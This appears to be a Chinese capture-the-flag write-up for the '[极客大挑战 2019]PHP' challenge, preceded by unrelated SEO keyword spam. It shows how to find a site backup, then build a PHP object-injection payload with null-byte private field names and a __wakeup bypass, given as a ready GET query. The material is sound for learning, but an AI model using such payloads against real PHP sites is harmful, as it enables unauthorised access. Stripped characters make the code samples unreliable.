宿迁莱布拉网站建设,个人做外贸哪个平台好,马鞍山网站建设制作公司,wordpress多媒体图片题目 点进页面显示如下 根据页面提示#xff0c;这个网站有备份文件#xff0c;备份文件一般是bak文件格式#xff0c;用dirsearch扫描 访问之后下载了一个文件 里面都是一些代码 在index.php中发现了一个类的文件#xff0c;一个get传参#xff0c;然后将传进的值进行反序…题目 点进页面显示如下 根据页面提示这个网站有备份文件备份文件一般是bak文件格式用dirsearch扫描 访问之后下载了一个文件 里面都是一些代码 在index.php中发现了一个类的文件一个get传参然后将传进的值进行反序列化 在class.php中如果usernameadminpassword100返回flag 构造一个反序列化
?phpclass Name{private $username admin;private $password 100;
}
$a new Name();
$strserialize($a);
echo $str;
?Name和password之间有不可见字符private声明的字段为私有字段只在所声明的类中课件在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时类名和字段名前面都会加上ascii为0的字符不可见字符
所以因改为
O:4:Name:2:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}这里还需要绕过__wakeup函数
构造payload
?selectO:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} 总结
1.从__destruct__construct__wakeup可以判断存在反序列化漏洞
2.php序列化与反序列化 序列化函数为serialize()把复杂的数据类型压缩到一个字符串中 数据类型可以是数组字符串对象等 反序列化函数为unserialize()将字符串转换成变量或对象的过程 常用的内置方法 __construct()创建对象时初始化当一个对象创建时被调用 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruction()结束时销毁对象当一个对象销毁时被调用
3.private声明的字段为私有字段只在所声明的类中课件在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时类名和字段名前面都会加上ascii为0的字符不可见字符
4.__wakeup函数绕过
在反序列化字符串时属性个数的值大于实际属性个数时会跳过 __wakeup()函数的执行 原本O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;} 绕过O:4:Name:3:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;} 参考学习链接
[极客大挑战 2019]PHP
[极客大挑战 2019]PHP unserialize_buuctf [极客大挑战 2019]php-CSDN博客